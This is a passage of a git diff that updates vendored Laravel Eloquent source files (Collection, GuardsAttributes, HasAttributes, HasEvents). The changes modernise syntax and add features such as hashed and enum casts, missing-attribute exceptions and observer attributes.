$value - * @return \Illuminate\Support\Collection + * @param TPadValue $value + * @return \Illuminate\Support\Collection */ public function pad($size, $value) { return $this->toBase()->pad($size, $value); } + /** + * Get an array with the values of a given key. + * + * @param string|array $value + * @param string|null $key + * @return \Illuminate\Support\Collection + */ + public function pluck($value, $key = null) + { + return $this->toBase()->pluck($value, $key); + } + + /** + * Zip the collection together with one or more arrays. + * + * @template TZipValue + * + * @param \Illuminate\Contracts\Support\Arrayable|iterable ...$items + * @return \Illuminate\Support\Collection> + */ + public function zip($items) + { + return $this->toBase()->zip(...func_get_args()); + } + /** * Get the comparison function to detect duplicates. * * @param bool $strict - * @return \Closure + * @return callable(TModel, TModel): bool */ protected function duplicateComparator($strict) { - return function ($a, $b) { - return $a->is($b); - }; + return fn ($a, $b) => $a->is($b); } /** @@ -649,10 +677,10 @@ public function getQueueableClass() return; } - $class = get_class($this->first()); + $class = $this->getQueueableModelClass($this->first()); $this->each(function ($model) use ($class) { - if (get_class($model) !== $class) { + if ($this->getQueueableModelClass($model) !== $class) { throw new LogicException('Queueing collections with multiple model types is not supported.'); } }); @@ -660,10 +688,23 @@ public function getQueueableClass() return $class; } + /** + * Get the queueable class name for the given model. + * + * @param \Illuminate\Database\Eloquent\Model $model + * @return string + */ + protected function getQueueableModelClass($model) + { + return method_exists($model, 'getQueueableClassName') + ? $model->getQueueableClassName() + : get_class($model); + } + /** * Get the identifiers for all of the entities. * - * @return array + * @return array */ public function getQueueableIds() { @@ -679,7 +720,7 @@ public function getQueueableIds() /** * Get the relationships of the entities being queued. * - * @return array + * @return array */ public function getQueueableRelations() { @@ -739,9 +780,7 @@ public function toQuery() $class = get_class($model); - if ($this->filter(function ($model) use ($class) { - return ! $model instanceof $class; - })->isNotEmpty()) { + if ($this->filter(fn ($model) => ! $model instanceof $class)->isNotEmpty()) { throw new LogicException('Unable to create query for collection with mixed types.'); } diff --git a/vendor/illuminate/database/Eloquent/Concerns/GuardsAttributes.php b/vendor/illuminate/database/Eloquent/Concerns/GuardsAttributes.php index 3e85fb955..f7d4c9ff5 100644 --- a/vendor/illuminate/database/Eloquent/Concerns/GuardsAttributes.php +++ b/vendor/illuminate/database/Eloquent/Concerns/GuardsAttributes.php @@ -2,21 +2,19 @@ namespace Illuminate\Database\Eloquent\Concerns; -use Illuminate\Support\Str; - trait GuardsAttributes { /** * The attributes that are mass assignable. * - * @var string[] + * @var array */ protected $fillable = []; /** * The attributes that aren't mass assignable. * - * @var string[]|bool + * @var array|bool */ protected $guarded = ['*']; @@ -30,14 +28,14 @@ trait GuardsAttributes /** * The actual columns that exist on the database and can be guarded. * - * @var array + * @var array */ protected static $guardableColumns = []; /** * Get the fillable attributes for the model. * - * @return array + * @return array */ public function getFillable() { @@ -47,7 +45,7 @@ public function getFillable() /** * Set the fillable attributes for the model. * - * @param array $fillable + * @param array $fillable * @return $this */ public function fillable(array $fillable) @@ -60,12 +58,12 @@ public function fillable(array $fillable) /** * Merge new fillable attributes with existing fillable attributes on the model. * - * @param array $fillable + * @param array $fillable * @return $this */ public function mergeFillable(array $fillable) { - $this->fillable = array_merge($this->fillable, $fillable); + $this->fillable = array_values(array_unique(array_merge($this->fillable, $fillable))); return $this; } @@ -73,7 +71,7 @@ public function mergeFillable(array $fillable) /** * Get the guarded attributes for the model. * - * @return array + * @return array */ public function getGuarded() { @@ -85,7 +83,7 @@ public function getGuarded() /** * Set the guarded attributes for the model. * - * @param array $guarded + * @param array $guarded * @return $this */ public function guard(array $guarded) @@ -98,12 +96,12 @@ public function guard(array $guarded) /** * Merge new guarded attributes with existing guarded attributes on the model. * - * @param array $guarded + * @param array $guarded * @return $this */ public function mergeGuarded(array $guarded) { - $this->guarded = array_merge($this->guarded, $guarded); + $this->guarded = array_values(array_unique(array_merge($this->guarded, $guarded))); return $this; } @@ -187,8 +185,8 @@ public function isFillable($key) } return empty($this->getFillable()) && - strpos($key, '.') === false && - ! Str::startsWith($key, '_'); + ! str_contains($key, '.') && + ! str_starts_with($key, '_'); } /** @@ -204,7 +202,7 @@ public function isGuarded($key) } return $this->getGuarded() == ['*'] || - ! empty(preg_grep('/^'.preg_quote($key).'$/i', $this->getGuarded())) || + ! empty(preg_grep('/^'.preg_quote($key, '/').'$/i', $this->getGuarded())) || ! $this->isGuardableColumn($key); } diff --git a/vendor/illuminate/database/Eloquent/Concerns/HasAttributes.php b/vendor/illuminate/database/Eloquent/Concerns/HasAttributes.php index 95d07e75a..991f06434 100644 --- a/vendor/illuminate/database/Eloquent/Concerns/HasAttributes.php +++ b/vendor/illuminate/database/Eloquent/Concerns/HasAttributes.php @@ -2,30 +2,44 @@ namespace Illuminate\Database\Eloquent\Concerns; +use BackedEnum; +use Brick\Math\BigDecimal; +use Brick\Math\Exception\MathException as BrickMathException; +use Brick\Math\RoundingMode; use Carbon\CarbonImmutable; use Carbon\CarbonInterface; +use DateTimeImmutable; use DateTimeInterface; use Illuminate\Contracts\Database\Eloquent\Castable; use Illuminate\Contracts\Database\Eloquent\CastsInboundAttributes; use Illuminate\Contracts\Support\Arrayable; use Illuminate\Database\Eloquent\Casts\AsArrayObject; use Illuminate\Database\Eloquent\Casts\AsCollection; +use Illuminate\Database\Eloquent\Casts\AsEncryptedArrayObject; +use Illuminate\Database\Eloquent\Casts\AsEncryptedCollection; +use Illuminate\Database\Eloquent\Casts\AsEnumArrayObject; +use Illuminate\Database\Eloquent\Casts\AsEnumCollection; use Illuminate\Database\Eloquent\Casts\Attribute; +use Illuminate\Database\Eloquent\Casts\Json; use Illuminate\Database\Eloquent\InvalidCastException; use Illuminate\Database\Eloquent\JsonEncodingException; +use Illuminate\Database\Eloquent\MissingAttributeException; use Illuminate\Database\Eloquent\Relations\Relation; use Illuminate\Database\LazyLoadingViolationException; use Illuminate\Support\Arr; use Illuminate\Support\Carbon; use Illuminate\Support\Collection as BaseCollection; +use Illuminate\Support\Exceptions\MathException; use Illuminate\Support\Facades\Crypt; use Illuminate\Support\Facades\Date; +use Illuminate\Support\Facades\Hash; use Illuminate\Support\Str; use InvalidArgumentException; use LogicException; use ReflectionClass; use ReflectionMethod; use ReflectionNamedType; +use RuntimeException; trait HasAttributes { @@ -92,6 +106,7 @@ trait HasAttributes 'encrypted:json', 'encrypted:object', 'float', + 'hashed', 'immutable_date', 'immutable_datetime', 'immutable_custom_datetime', @@ -104,15 +119,6 @@ trait HasAttributes 'timestamp', ]; - /** - * The attributes that should be mutated to dates. - * - * @deprecated Use the "casts" property - * - * @var array - */ - protected $dates = []; - /** * The storage format of the model's date columns. * @@ -162,10 +168,17 @@ trait HasAttributes */ protected static $setAttributeMutatorCache = []; + /** + * The cache of the converted cast types. + * + * @var array + */ + protected static $castTypeCache = []; + /** * The encrypter instance that is used to encrypt attributes. * - * @var \Illuminate\Contracts\Encryption\Encrypter + * @var \Illuminate\Contracts\Encryption\Encrypter|null */ public static $encrypter; @@ -278,26 +291,26 @@ protected function addCastAttributesToArray(array $attributes, array $mutatedAtt // If the attribute cast was a date or a datetime, we will serialize the date as // a string. This allows the developers to customize how dates are serialized // into an array without affecting how they are persisted into the storage. - if ($attributes[$key] && in_array($value, ['date', 'datetime', 'immutable_date', 'immutable_datetime'])) { + if (isset($attributes[$key]) && in_array($value, ['date', 'datetime', 'immutable_date', 'immutable_datetime'])) { $attributes[$key] = $this->serializeDate($attributes[$key]); } - if ($attributes[$key] && ($this->isCustomDateTimeCast($value) || + if (isset($attributes[$key]) && ($this->isCustomDateTimeCast($value) || $this->isImmutableCustomDateTimeCast($value))) { $attributes[$key] = $attributes[$key]->format(explode(':', $value, 2)[1]); } - if ($attributes[$key] && $attributes[$key] instanceof DateTimeInterface && + if ($attributes[$key] instanceof DateTimeInterface && $this->isClassCastable($key)) { $attributes[$key] = $this->serializeDate($attributes[$key]); } - if ($attributes[$key] && $this->isClassSerializable($key)) { + if (isset($attributes[$key]) && $this->isClassSerializable($key)) { $attributes[$key] = $this->serializeClassCastableAttribute($key, $attributes[$key]); } if ($this->isEnumCastable($key) && (! ($attributes[$key] ?? null) instanceof Arrayable)) { - $attributes[$key] = isset($attributes[$key]) ? $attributes[$key]->value : null; + $attributes[$key] = isset($attributes[$key]) ? $this->getStorableEnumValue($attributes[$key]) : null; } if ($attributes[$key] instanceof Arrayable) { @@ -344,7 +357,7 @@ public function relationsToArray() $attributes = []; foreach ($this->getArrayableRelations() as $key => $value) { - // If the values implements the Arrayable interface we can just call this + // If the values implement the Arrayable interface we can just call this // toArray method on the instances which will convert both models and // collections to their proper array form and we'll set the values. if ($value instanceof Arrayable) { @@ -352,8 +365,8 @@ public function relationsToArray() } // If the value is null, we'll still go ahead and set it in this list of - // attributes since null is used to represent empty relationships if - // if it a has one or belongs to type relationships on the models. + // attributes, since null is used to represent empty relationships if + // it has a has one or belongs to type relationships on the models. elseif (is_null($value)) { $relation = $value; } @@ -434,10 +447,35 @@ public function getAttribute($key) // since we don't want to treat any of those methods as relationships because // they are all intended as helper methods and none of these are relations. if (method_exists(self::class, $key)) { - return; + return $this->throwMissingAttributeExceptionIfApplicable($key); + } + + return $this->isRelation($key) || $this->relationLoaded($key) + ? $this->getRelationValue($key) + : $this->throwMissingAttributeExceptionIfApplicable($key); + } + + /** + * Either throw a missing attribute exception or return null depending on Eloquent's configuration. + * + * @param string $key + * @return null + * + * @throws \Illuminate\Database\Eloquent\MissingAttributeException + */ + protected function throwMissingAttributeExceptionIfApplicable($key) + { + if ($this->exists && + ! $this->wasRecentlyCreated && + static::preventsAccessingMissingAttributes()) { + if (isset(static::$missingAttributeViolationCallback)) { + return call_user_func(static::$missingAttributeViolationCallback, $this, $key); + } + + throw new MissingAttributeException($this, $key); } - return $this->getRelationValue($key); + return null; } /** @@ -504,7 +542,7 @@ public function isRelation($key) } return method_exists($this, $key) || - (static::$relationResolvers[get_class($this)][$key] ?? null); + $this->relationResolver(static::class, $key); } /** @@ -584,7 +622,7 @@ public function hasAttributeMutator($key) $returnType = (new ReflectionMethod($this, $method))->getReturnType(); - return static::$attributeMutatorCache[get_class($this)][$key] = $returnType && + return static::$attributeMutatorCache[get_class($this)][$key] = $returnType instanceof ReflectionNamedType && $returnType->getName() === Attribute::class; } @@ -629,7 +667,7 @@ protected function mutateAttribute($key, $value) */ protected function mutateAttributeMarkedAttribute($key, $value) { - if (isset($this->attributeCastCache[$key])) { + if (array_key_exists($key, $this->attributeCastCache)) { return $this->attributeCastCache[$key]; } @@ -639,10 +677,10 @@ protected function mutateAttributeMarkedAttribute($key, $value) return $value; }, $value, $this->attributes); - if (! is_object($value) || ! $attribute->withObjectCaching) { - unset($this->attributeCastCache[$key]); - } else { + if ($attribute->withCaching || (is_object($value) && $attribute->withObjectCaching)) { $this->attributeCastCache[$key] = $value; + } else { + unset($this->attributeCastCache[$key]); } return $value; @@ -766,16 +804,20 @@ protected function castAttribute($key, $value) */ protected function getClassCastableAttributeValue($key, $value) { - if (isset($this->classCastCache[$key])) { + $caster = $this->resolveCasterClass($key); + + $objectCachingDisabled = $caster->withoutObjectCaching ?? false; + + if (isset($this->classCastCache[$key]) && ! $objectCachingDisabled) { return $this->classCastCache[$key]; } else { - $caster = $this->resolveCasterClass($key); - $value = $caster instanceof CastsInboundAttributes ? $value : $caster->get($this, $key, $value, $this->attributes); - if ($caster instanceof CastsInboundAttributes || ! is_object($value)) { + if ($caster instanceof CastsInboundAttributes || + ! is_object($value) || + $objectCachingDisabled) { unset($this->classCastCache[$key]); } else { $this->classCastCache[$key] = $value; @@ -804,7 +846,7 @@ protected function getEnumCastableAttributeValue($key, $value) return $value; } - return $castType::from($value); + return $this->getEnumCaseFromValue($castType, $value); } /** @@ -815,19 +857,25 @@ protected function getEnumCastableAttributeValue($key, $value) */ protected function getCastType($key) { - if ($this->isCustomDateTimeCast($this->getCasts()[$key])) { - return 'custom_datetime'; - } + $castType = $this->getCasts()[$key]; - if ($this->isImmutableCustomDateTimeCast($this->getCasts()[$key])) { - return 'immutable_custom_datetime'; + if (isset(static::$castTypeCache[$castType])) { + return static::$castTypeCache[$castType]; } - if ($this->isDecimalCast($this->getCasts()[$key])) { - return 'decimal'; + if ($this->isCustomDateTimeCast($castType)) { + $convertedCastType = 'custom_datetime'; + } elseif ($this->isImmutableCustomDateTimeCast($castType)) { + $convertedCastType = 'immutable_custom_datetime'; + } elseif ($this->isDecimalCast($castType)) { + $convertedCastType = 'decimal'; + } elseif (class_exists($castType)) { + $convertedCastType = $castType; + } else { + $convertedCastType = trim(strtolower($castType)); } - return trim(strtolower($this->getCasts()[$key])); + return static::$castTypeCache[$castType] = $convertedCastType; } /** @@ -867,8 +915,8 @@ protected function serializeClassCastableAttribute($key, $value) */ protected function isCustomDateTimeCast($cast) { - return strncmp($cast, 'date:', 5) === 0 || - strncmp($cast, 'datetime:', 9) === 0; + return str_starts_with($cast, 'date:') || + str_starts_with($cast, 'datetime:'); } /** @@ -879,8 +927,8 @@ protected function isCustomDateTimeCast($cast) */ protected function isImmutableCustomDateTimeCast($cast) { - return strncmp($cast, 'immutable_date:', 15) === 0 || - strncmp($cast, 'immutable_datetime:', 19) === 0; + return str_starts_with($cast, 'immutable_date:') || + str_starts_with($cast, 'immutable_datetime:'); } /** @@ -891,7 +939,7 @@ protected function isImmutableCustomDateTimeCast($cast) */ protected function isDecimalCast($cast) { - return strncmp($cast, 'decimal:', 8) === 0; + return str_starts_with($cast, 'decimal:'); } /** @@ -915,7 +963,7 @@ public function setAttribute($key, $value) // If an attribute is listed as a "date", we'll convert it from a DateTime // instance into a form proper for storage on the database tables using // the connection grammar's date format. We will auto set the values. - elseif ($value && $this->isDateAttribute($key)) { + elseif (! is_null($value) && $this->isDateAttribute($key)) { $value = $this->fromDateTime($value); } @@ -938,7 +986,7 @@ public function setAttribute($key, $value) // If this attribute contains a JSON ->, we'll set the proper value in the // attribute's underlying array. This takes care of properly nesting an // attribute in the array's value in the case of deeply nested items. - if (Str::contains($key, '->')) { + if (str_contains($key, '->')) { return $this->fillJsonAttribute($key, $value); } @@ -946,6 +994,10 @@ public function setAttribute($key, $value) $value = $this->castAttributeAsEncryptedString($key, $value); } + if (! is_null($value) && $this->hasCast($key, 'hashed')) { + $value = $this->castAttributeAsHashedString($key, $value); + } + $this->attributes[$key] = $value; return $this; @@ -982,7 +1034,7 @@ public function hasAttributeSetMutator($key) $returnType = (new ReflectionMethod($this, $method))->getReturnType(); - return static::$setAttributeMutatorCache[$class][$key] = $returnType && + return static::$setAttributeMutatorCache[$class][$key] = $returnType instanceof ReflectionNamedType && $returnType->getName() === Attribute::class && is_callable($this->{$method}()->set); @@ -1018,15 +1070,17 @@ protected function setAttributeMarkedMutatedAttributeValue($key, $value) $this->attributes = array_merge( $this->attributes, $this->normalizeCastClassResponse( - $key, call_user_func($callback, $value, $this->attributes) + $key, $callback($value, $this->attributes) ) ); - if (! is_object($value) || ! $attribute->withObjectCaching) { - unset($this->attributeCastCache[$key]); - } else { + if ($attribute->withCaching || (is_object($value) && $attribute->withObjectCaching)) { $this->attributeCastCache[$key] = $value; + } else { + unset($this->attributeCastCache[$key]); } + + return $this; } /** @@ -1060,6 +1114,10 @@ public function fillJsonAttribute($key, $value) ? $this->castAttributeAsEncryptedString($key, $value) : $value; + if ($this->isClassCastable($key)) { + unset($this->classCastCache[$key]); + } + return $this; } @@ -1074,24 +1132,16 @@ protected function setClassCastableAttribute($key, $value) { $caster = $this->resolveCasterClass($key); - if (is_null($value)) { - $this->attributes = array_merge($this->attributes, array_map( - function () { - }, - $this->normalizeCastClassResponse($key, $caster->set( - $this, $key, $this->{$key}, $this->attributes - )) - )); - } else { - $this->attributes = array_merge( - $this->attributes, - $this->normalizeCastClassResponse($key, $caster->set( - $this, $key, $value, $this->attributes - )) - ); - } + $this->attributes = array_replace( + $this->attributes, + $this->normalizeCastClassResponse($key, $caster->set( + $this, $key, $value, $this->attributes + )) + ); - if ($caster instanceof CastsInboundAttributes || ! is_object($value)) { + if ($caster instanceof CastsInboundAttributes || + ! is_object($value) || + ($caster->withoutObjectCaching ?? false)) { unset($this->classCastCache[$key]); } else { $this->classCastCache[$key] = $value; @@ -1102,7 +1152,7 @@ function () { * Set the value of an enum castable attribute. * * @param string $key - * @param \BackedEnum $value + * @param \UnitEnum|string|int $value * @return void */ protected function setEnumCastableAttribute($key, $value) @@ -1111,13 +1161,42 @@ protected function setEnumCastableAttribute($key, $value) if (! isset($value)) { $this->attributes[$key] = null; - } elseif ($value instanceof $enumClass) { - $this->attributes[$key] = $value->value; + } elseif (is_object($value)) { + $this->attributes[$key] = $this->getStorableEnumValue($value); } else { - $this->attributes[$key] = $enumClass::from($value)->value; + $this->attributes[$key] = $this->getStorableEnumValue( + $this->getEnumCaseFromValue($enumClass, $value) + ); } } + /** + * Get an enum case instance from a given class and value. + * + * @param string $enumClass + * @param string|int $value + * @return \UnitEnum|\BackedEnum + */ + protected function getEnumCaseFromValue($enumClass, $value) + { + return is_subclass_of($enumClass, BackedEnum::class) + ? $enumClass::from($value) + : constant($enumClass.'::'.$value); + } + + /** + * Get the storable value from the given enum. + * + * @param \UnitEnum|\BackedEnum $value + * @return string|int + */ + protected function getStorableEnumValue($value) + { + return $value instanceof BackedEnum + ? $value->value + : $value->name; + } + /** * Get an array attribute with the given key and value set. * @@ -1180,7 +1259,7 @@ protected function castAttributeAsJson($key, $value) */ protected function asJson($value) { - return json_encode($value); + return Json::encode($value); } /** @@ -1192,7 +1271,7 @@ protected function asJson($value) */ public function fromJson($value, $asObject = false) { - return json_decode($value, ! $asObject); + return Json::decode($value ?? '', ! $asObject); } /** @@ -1221,7 +1300,7 @@ protected function castAttributeAsEncryptedString($key, $value) /** * Set the encrypter instance that will be used to encrypt attributes. * - * @param \Illuminate\Contracts\Encryption\Encrypter $encrypter + * @param \Illuminate\Contracts\Encryption\Encrypter|null $encrypter * @return void */ public static function encryptUsing($encrypter) @@ -1229,6 +1308,30 @@ public static function encryptUsing($encrypter) static::$encrypter = $encrypter; } + /** + * Cast the given attribute to a hashed string. + * + * @param string $key + * @param mixed $value + * @return string + */ + protected function castAttributeAsHashedString($key, $value) + { + if ($value === null) { + return null; + } + + if (! Hash::isHashed($value)) { + return Hash::make($value); + } + + if (! Hash::verifyConfiguration($value)) { + throw new RuntimeException("Could not verify the hashed value's configuration."); + } + + return $value; + } + /** * Decode the given float. * @@ -1237,28 +1340,28 @@ public static function encryptUsing($encrypter) */ public function fromFloat($value) { - switch ((string) $value) { - case 'Infinity': - return INF; - case '-Infinity': - return -INF; - case 'NaN': - return NAN; - default: - return (float) $value; - } + return match ((string) $value) { + 'Infinity' => INF, + '-Infinity' => -INF, + 'NaN' => NAN, + default => (float) $value, + }; } /** * Return a decimal as string. * - * @param float $value + * @param float|string $value * @param int $decimals * @return string */ protected function asDecimal($value, $decimals) { - return number_format($value, $decimals, '.', ''); + try { + return (string) BigDecimal::of($value)->toScale($decimals, RoundingMode::HALF_UP); + } catch (BrickMathException $e) { + throw new MathException('Unable to cast value to a decimal.', previous: $e); + } } /** @@ -1317,7 +1420,7 @@ protected function asDateTime($value) // that is returned back out to the developers after we convert it here. try { $date = Date::createFromFormat($format, $value); - } catch (InvalidArgumentException $e) { + } catch (InvalidArgumentException) { $date = false; } @@ -1367,7 +1470,7 @@ protected function asTimestamp($value) */ protected function serializeDate(DateTimeInterface $date) { - return $date instanceof \DateTimeImmutable ? + return $date instanceof DateTimeImmutable ? CarbonImmutable::instance($date)->toJSON() : Carbon::instance($date)->toJSON(); } @@ -1379,16 +1482,10 @@ protected function serializeDate(DateTimeInterface $date) */ public function getDates() { - if (! $this->usesTimestamps()) { - return $this->dates; - } - - $defaults = [ + return $this->usesTimestamps() ? [ $this->getCreatedAtColumn(), $this->getUpdatedAtColumn(), - ]; - - return array_unique(array_merge($this->dates, $defaults)); + ] : []; } /** @@ -1498,11 +1595,13 @@ protected function isEncryptedCastable($key) */ protected function isClassCastable($key) { - if (! array_key_exists($key, $this->getCasts())) { + $casts = $this->getCasts(); + + if (! array_key_exists($key, $casts)) { return false; } - $castType = $this->parseCasterClass($this->getCasts()[$key]); + $castType = $this->parseCasterClass($casts[$key]); if (in_array($castType, static::$primitiveCastTypes)) { return false; @@ -1523,19 +1622,19 @@ protected function isClassCastable($key) */ protected function isEnumCastable($key) { - if (! array_key_exists($key, $this->getCasts())) { + $casts = $this->getCasts(); + + if (! array_key_exists($key, $casts)) { return false; } - $castType = $this->getCasts()[$key]; + $castType = $casts[$key]; if (in_array($castType, static::$primitiveCastTypes)) { return false; } - if (function_exists('enum_exists') && enum_exists($castType)) { - return true; - } + return enum_exists($castType); } /** @@ -1548,9 +1647,13 @@ protected function isEnumCastable($key) */ protected function isClassDeviable($key) { - return $this->isClassCastable($key) && - method_exists($castType = $this->parseCasterClass($this->getCasts()[$key]), 'increment') && - method_exists($castType, 'decrement'); + if (! $this->isClassCastable($key)) { + return false; + } + + $castType = $this->resolveCasterClass($key); + + return method_exists($castType::class, 'increment') && method_exists($castType::class, 'decrement'); } /** @@ -1580,7 +1683,7 @@ protected function resolveCasterClass($key) $arguments = []; - if (is_string($castType) && strpos($castType, ':') !== false) { + if (is_string($castType) && str_contains($castType, ':')) { $segments = explode(':', $castType, 2); $castType = $segments[0]; @@ -1606,7 +1709,7 @@ protected function resolveCasterClass($key) */ protected function parseCasterClass($class) { - return strpos($class, ':') === false + return ! str_contains($class, ':') ? $class : explode(':', $class, 2)[0]; } @@ -1662,7 +1765,7 @@ protected function mergeAttributesFromAttributeCasts() $this->attributes = array_merge( $this->attributes, $this->normalizeCastClassResponse( - $key, call_user_func($callback, $value, $this->attributes) + $key, $callback($value, $this->attributes) ) ); } @@ -1865,7 +1968,19 @@ public function isClean($attributes = null) } /** - * Determine if the model or any of the given attribute(s) have been modified. + * Discard attribute changes and reset the attributes to their original state. + * + * @return $this + */ + public function discardChanges() + { + [$this->attributes, $this->changes] = [$this->original, []]; + + return $this; + } + + /** + * Determine if the model or any of the given attribute(s) were changed when the model was last saved. * * @param array|string|null $attributes * @return bool @@ -1878,7 +1993,7 @@ public function wasChanged($attributes = null) } /** - * Determine if any of the given attributes were changed. + * Determine if any of the given attributes were changed when the model was last saved. * * @param array $changes * @param array|string|null $attributes @@ -1924,7 +2039,17 @@ public function getDirty() } /** - * Get the attributes that were changed. + * Get the attributes that have been changed since the last sync for an update operation. + * + * @return array + */ + protected function getDirtyForUpdate() + { + return $this->getDirty(); + } + + /** + * Get the attributes that were changed when the model was last saved. * * @return array */ @@ -1959,7 +2084,7 @@ public function originalIsEquivalent($key) return $this->fromJson($attribute) === $this->fromJson($original); } elseif ($this->hasCast($key, ['real', 'float', 'double'])) { - if (($attribute === null && $original !== null) || ($attribute !== null && $original === null)) { + if ($original === null) { return false; } @@ -1967,8 +2092,12 @@ public function originalIsEquivalent($key) } elseif ($this->hasCast($key, static::$primitiveCastTypes)) { return $this->castAttribute($key, $attribute) === $this->castAttribute($key, $original); - } elseif ($this->isClassCastable($key) && in_array($this->getCasts()[$key], [AsArrayObject::class, AsCollection::class])) { + } elseif ($this->isClassCastable($key) && Str::startsWith($this->getCasts()[$key], [AsArrayObject::class, AsCollection::class])) { return $this->fromJson($attribute) === $this->fromJson($original); + } elseif ($this->isClassCastable($key) && Str::startsWith($this->getCasts()[$key], [AsEnumArrayObject::class, AsEnumCollection::class])) { + return $this->fromJson($attribute) === $this->fromJson($original); + } elseif ($this->isClassCastable($key) && $original !== null && Str::startsWith($this->getCasts()[$key], [AsEncryptedArrayObject::class, AsEncryptedCollection::class])) { + return $this->fromEncryptedString($attribute) === $this->fromEncryptedString($original); } return is_numeric($attribute) && is_numeric($original) @@ -1997,6 +2126,13 @@ protected function transformModelValue($key, $value) // an appropriate native PHP type dependent upon the associated value // given with the key in the pair. Dayle made this comment line up. if ($this->hasCast($key)) { + if (static::preventsAccessingMissingAttributes() && + ! array_key_exists($key, $this->attributes) && + ($this->isEnumCastable($key) || + in_array($this->getCastType($key), static::$primitiveCastTypes))) { + $this->throwMissingAttributeExceptionIfApplicable($key); + } + return $this->castAttribute($key, $value); } @@ -2019,13 +2155,23 @@ protected function transformModelValue($key, $value) */ public function append($attributes) { - $this->appends = array_unique( + $this->appends = array_values(array_unique( array_merge($this->appends, is_string($attributes) ? func_get_args() : $attributes) - ); + )); return $this; } + /** + * Get the accessors that are being appended to model arrays. + * + * @return array + */ + public function getAppends() + { + return $this->appends; + } + /** * Set the accessors to append to model arrays. * @@ -2057,25 +2203,27 @@ public function hasAppended($attribute) */ public function getMutatedAttributes() { - $class = static::class; - - if (! isset(static::$mutatorCache[$class])) { - static::cacheMutatedAttributes($class); + if (! isset(static::$mutatorCache[static::class])) { + static::cacheMutatedAttributes($this); } - return static::$mutatorCache[$class]; + return static::$mutatorCache[static::class]; } /** * Extract and cache all the mutated attributes of a class. * - * @param string $class + * @param object|string $classOrInstance * @return void */ - public static function cacheMutatedAttributes($class) + public static function cacheMutatedAttributes($classOrInstance) { + $reflection = new ReflectionClass($classOrInstance); + + $class = $reflection->getName(); + static::$getAttributeMutatorCache[$class] = - collect($attributeMutatorMethods = static::getAttributeMarkedMutatorMethods($class)) + collect($attributeMutatorMethods = static::getAttributeMarkedMutatorMethods($classOrInstance)) ->mapWithKeys(function ($match) { return [lcfirst(static::$snakeAttributes ? Str::snake($match) : $match) => true]; })->all(); @@ -2113,11 +2261,8 @@ protected static function getAttributeMarkedMutatorMethods($class) return collect((new ReflectionClass($instance))->getMethods())->filter(function ($method) use ($instance) { $returnType = $method->getReturnType(); - if ($returnType && - $returnType instanceof ReflectionNamedType && + if ($returnType instanceof ReflectionNamedType && $returnType->getName() === Attribute::class) { - $method->setAccessible(true); - if (is_callable($method->invoke($instance)->get)) { return true; } diff --git a/vendor/illuminate/database/Eloquent/Concerns/HasEvents.php b/vendor/illuminate/database/Eloquent/Concerns/HasEvents.php index eb6a97098..0730dcb10 100644 --- a/vendor/illuminate/database/Eloquent/Concerns/HasEvents.php +++ b/vendor/illuminate/database/Eloquent/Concerns/HasEvents.php @@ -3,9 +3,11 @@ namespace Illuminate\Database\Eloquent\Concerns; use Illuminate\Contracts\Events\Dispatcher; +use Illuminate\Database\Eloquent\Attributes\ObservedBy; use Illuminate\Events\NullDispatcher; use Illuminate\Support\Arr; use InvalidArgumentException; +use ReflectionClass; trait HasEvents { @@ -27,6 +29,31 @@ trait HasEvents */ protected $observables = []; + /** + * Boot the has event trait for a model. + * + * @return void + */ + public static function bootHasEvents() + { + static::observe(static::resolveObserveAttributes()); + } + + /** + * Resolve the observe class names from the attributes. + * + * @return array + */ + public static function resolveObserveAttributes() + { + $reflectionClass = new ReflectionClass(static::class); + + return collect($reflectionClass->getAttributes(ObservedBy::class)) + ->map(fn ($attribute) => $attribute->getArguments()) + ->flatten() + ->all(); + } + /** * Register observers with the model. * @@ -98,7 +125,7 @@ public function getObservableEvents() [ 'retrieved', 'creating', 'created', 'updating', 'updated', 'saving', 'saved', 'restoring', 'restored', 'replicating', - 'deleting', 'deleted', 'forceDeleted', + 'deleting', 'deleted', 'forceDeleting', 'forceDeleted', ], $this->observables ); @@ -147,7 +174,7 @@ public function removeObservableEvents($observables) * Register a model event with the dispatcher. * * @param string $event - * @param \Illuminate\Events\QueuedClosure|\Closure|string $callback + * @param \Illuminate\Events\QueuedClosure|\Closure|string|array $callback * @return void */ protected static function registerModelEvent($event, $callback) @@ -230,7 +257,7 @@ protected function filterModelEventResults($result) /** * Register a retrieved model event with the dispatcher. * - * @param \Illuminate\Events\QueuedClosure|\Closure|string $callback + * @param \Illuminate\Events\QueuedClosure|\Closure|string|array $callback * @return void */ public static function retrieved($callback) @@ -241,7 +268,7 @@ public static function retrieved($callback) /** * Register a saving model event with the dispatcher. * - * @param \Illuminate\Events\QueuedClosure|\Closure|string $callback + * @param \Illuminate\Events\QueuedClosure|\Closure|string|array $callback * @return void */ public static function saving($callback) @@ -252,7 +279,7 @@ public static function saving($callback) /** * Register a saved model event with the dispatcher. * - * @param \Illuminate\Events\QueuedClosure|\Closure|string $callback + * @param \Illuminate\Events\QueuedClosure|\Closure|string|array $callback * @return void */ public static function saved($callback) @@ -263,7 +290,7 @@ public static function saved($callback) /** * Register an updating model event with the dispatcher. * - * @param \Illuminate\Events\QueuedClosure|\Closure|string $callback + * @param \Illuminate\Events\QueuedClosure|\Closure|string|array $callback * @return void */ public static function updating($callback) @@ -274,7 +301,7 @@ public static function updating($callback) /** * Register an updated model event with the dispatcher. * - * @param \Illuminate\Events\QueuedClosure|\Closure|string $callback + * @param \Illuminate\Events\QueuedClosure|\Closure|string|array $callback * @return void */ public static function updated($callback) @@ -285,7 +312,7 @@ public static function updated($callback) /** * Register a creating model event with the dispatcher. * - * @param \Illuminate\Events\QueuedClosure|\Closure|string $callback + * @param \Illuminate\Events\QueuedClosure|\Closure|string|array $callback * @return void */ public static function creating($callback) @@ -296,7 +323,7 @@ public static function creating($callback) /** * Register a created model event with the dispatcher. * - * @param \Illuminate\Events\QueuedClosure|\Closure|string $callback + * @param \Illuminate\Events\QueuedClosure|\Closure|string|array $callback * @return void */ public static function created($callback) @@ -307,7 +334,7 @@ public static function created($callback) /** * Register a replicating model event with the dispatcher. * - * @param \Illuminate\Events\QueuedClosure|\Closure|string $callback + * @param \Illuminate\Events\QueuedClosure|\Closure|string|array $callback * @return void */ public static function replicating($callback) @@ -318,7 +345,7 @@ public static function replicating($callback) /** * Register a deleting model event with the dispatcher. * - * @param \Illuminate\Events\QueuedClosure|\Closure|string $callback + * @param \Illuminate\Events\QueuedClosure|\Closure|string|array $callback * @return void */ public static function deleting($callback) @@ -329,7 +356,7 @@ public static function deleting($callback) /** * Register a deleted model event with the dispatcher. * - * @param 